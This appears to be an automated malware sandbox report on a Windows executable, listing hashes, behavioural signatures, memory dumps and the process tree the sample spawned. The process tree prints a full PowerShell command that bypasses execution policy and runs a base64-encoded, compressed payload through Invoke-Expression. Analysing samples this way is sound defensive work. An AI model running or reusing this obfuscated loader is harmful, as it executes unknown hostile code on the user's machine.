Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    29/12/2023, 18:09

General

  • Target

    00147156b464a1066d3a1c7259437f30.exe

  • Size

    251KB

  • MD5

    00147156b464a1066d3a1c7259437f30

  • SHA1

    0cba0c10768990899c73006ebfa4bb5993abbe50

  • SHA256

    5b7ded1509b6e77bc982f9786c098e17c139d4afdb736e46ccf19eccd9467343

  • SHA512

    6c0c8218c5ac63628759490fa59fd3b67b9e8e6b2f429ede3a87e7cb0b3a76f3566b41455f547656a94e48e2b4e9bd8705ff5889801f635c5c1a23a9f2ffb9bd

  • SSDEEP

    6144:4bJhs7QW69hd1MMdxPe9N9uA0hu9TBiRXDzXJ3R/gA:4bjDhu9TsRXP5ZgA

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe
    "C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2432
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\70FB.tmp\70FC.tmp\70FD.bat C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3032
      • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
        C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoLogo -ExecutionPolicyBypass -NoProfile -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZtb9s2EP6uX0EYAiLVkiD5JehiGGicLK3RxvVqtx0mGINC0TYXmhRIyrGS+b/vaMsvcrIi6Idh1gfK5HMvvHvuTjZGXfSuZsXXjPUXmZDaqd0TyQlrNoKUsZo7QVl+xyhGSicaFrLScI76XA+1RN+o1HnCLhkT2Cn3HjyUU67RqlyLcn10Oz9t50qSRJPxHJZ0Zycv9S49dLBcvh3ZLneM9do7yx6L3jL9ffhh+lvOBVy+YdnDa5UP//gIf5z3RPtDKTBRyg2wyLm26BQ5e4g/I6iqwkVPAHE2kt9v+5/v/iJYI/+KJUqh75Q3G3+WCoV0g0G+uCPy8/STmFGcsP2J2miOjLK4V2gSTyb2YDwcy4SrBdVdL3rTets53orDSTdcRb3OHq8IFjw9Fanu7qVsLi6xsd21pwlTpDOWxZM9Evie6O6APPjlRQZEB9tdVa5OfLx3maYStNwkC8qKycUFRJtIADwIee/Fz6XHRUYAdj2TyaJ6DrHQAgtWIr6mmdspHQquBOfgjXOWqyATggVcZ4GQszMvajTdTvxN0HSyA48IT53jUJ0CvhBM6JJUMWucaDx/OoqLljlZd2yZ87HQCeuGnRshf03w3LH7PCUrRDmqZKQVBkGrOXGfDjL7tzeN9nl9Kwc6p1QqPaYL0nWOYn1tKA6bTvRLGHoRPOHmiXcHHylPTWg0dl0T+VvKGN0mWDnxV4j9eWviHGxGYRgCcrRBdEY6kdofMUIy5CsUtbc5BwdMXP5HSS89emXWd+ht2qt0fwbap/4UdzDKhCLOz9LhpNpey4hNk/nvqIB8dKDgtvO0kS8k2l/XNCJt2KGgKx75NSqUJovgeYqRE79w9kOioJckKoQZaej3i5eBJ8wZ48y1bHXgTBQGYdAIovaZh1rwc9HfSOTa5zljHWRncK/4UsrEuLWdLn0Oo4dj4tTuoKPWQMwF4AqAoHdPnOxE0SOch5ZdvEJf3KMa/FsSCVEwPguIR7MBOr3QrbeNtQIatFG46t1YD3PKCMyeR+Qz/WNhSJfxpF51tfDsx3obuPPvgb5hyUyBtoHgxEVrawokcGzajcAXCnYJapm3eh0sgHM2Nd7t1J14BBPQjCKgH0xeGEfBh4SnjLgg5UeTtWVrkAVG+CZlyF8QMwqvyZRyqqmA4sHIHyRAyNpmbNaQz+GfyhJMtoP0JufYIGFYZjBd9VzmJkFQmhcXlQ+R0LOL4BPhMz33wlUTqA9LK3StnedfYLAD9YMNH0U2InJJgfbBbSLVPGEmhSIrTARRCHnbfkJAOa2CXdhd10N7I8A8vct6+Y1iitVebau2yphKGy7r8e15KwzLlrNeW+b5Bw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
        3⤵
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2676

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\70FB.tmp\70FC.tmp\70FD.bat

    Filesize

    3KB

    MD5

    bd4b3243d8caedf16307a717354a41b5

    SHA1

    4c0737006c558e695d0823f935f14fdcf063e277

    SHA256

    03b127cbd572cea29141967489b551708d92d91f2260ae09f1d64c3f3b4b2270

    SHA512

    6e96dd55d203bc16f65ea91b04407b366ebc05196df8750738a989ad7b364c8bb58c949c9286994dc56e12896e1c6330dfd5c868ad11ba2dcf2345d381630f9c

  • memory/2676-4-0x0000000073F90000-0x000000007453B000-memory.dmp

    Filesize

    5.7MB

  • memory/2676-5-0x0000000073F90000-0x000000007453B000-memory.dmp

    Filesize

    5.7MB

  • memory/2676-6-0x0000000002240000-0x0000000002280000-memory.dmp

    Filesize

    256KB

  • memory/2676-7-0x0000000002240000-0x0000000002280000-memory.dmp

    Filesize

    256KB

  • memory/2676-8-0x0000000073F90000-0x000000007453B000-memory.dmp

    Filesize

    5.7MB